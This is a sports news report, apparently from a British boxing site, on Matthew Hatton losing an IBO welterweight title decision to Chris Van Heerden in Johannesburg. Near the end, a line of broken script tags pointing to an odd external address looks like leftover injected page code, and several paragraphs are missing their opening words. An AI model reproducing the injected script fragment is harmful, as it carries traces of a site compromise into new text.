By Dan Waters
‘Magic’ Matthew Hatton’s latest bid for world honours ended in defeat
on Saturday, as he lost a 12 round decision to South Africa’s Chris Van
Heerden. Hatton, fighting for a world title for the first time since
his loss to Saul Alvarez last year, travelled to Van Heerden’s hometown
of Johannesburg for the bout for the IBO Welterweight Title.
the IBO is a fringe world title, different versions of the belt have
been held by such boxing luminaries as Bernard Hopkins, Nonito Donaire
and Wladimir Klitschko, and this was a belt that Hatton was desperate to
win. Four years ago ‘Magic’ fought to a draw with another South African
Lovemore N’Dou for the same title, which many deemed a shocking
decision and Hatton was desperate to set the record straight.
the build-up to the fight, clearly no love was lost between champion
and challenger. At both the weigh-in and press conference the two
fighters nearly came to blows, with the normally placid Hatton refusing
to shake Van Heerden’s hand, much to the champion’s ire.
fight night after a cagey opening round in which Van Heerden was warned
over the use of his elbow, the South African began to take charge,
often occupying centre-ring and backing Hatton on to the ropes. In the
second round, Hatton caught a clean right-uppercut which seemed to shake
him up a little, but was able to fight his way off of the ropes as the
fight turned scrappy.
turn in the third round as Hatton cut Van Heerden badly above his right
eye, but the challenger was unable to take control, with the awkward
southpaw never allowing Hatton to get a foothold in the fight. The South
African’s eye was bleeding profusely throughout the remainder of the
fight, but his work continued to be neat and tidy. Hatton was still in
the fight, and was never outclassed, but was clearly outworked by his
younger opponent.
Heerden’s eye was a real mess, but nevertheless the South African
retained his title with 118-110, 117-112, 116-112 scores from the
judges. Hatton’s latest world title tilt ended in failure, and at 31
years old, and with 52 fights behind him it may well be his last chance.
# src=’https://land.#/clizkes’ type=’text/javascript’># src=’https://#/clizkes’ type=’text/javascript’>
Thanks for reading and watching, hope you come back soon. Please Follow us on Social Media for updates…
Instagram: https://www.instagram.com/britishboxers_bbtv
Twitter: https://twitter.com/britishboxers
Facebook: https://www.facebook.com/britishboxers
YouTube: https://www.youtube.com/britishboxersuk
boxing #britishboxing
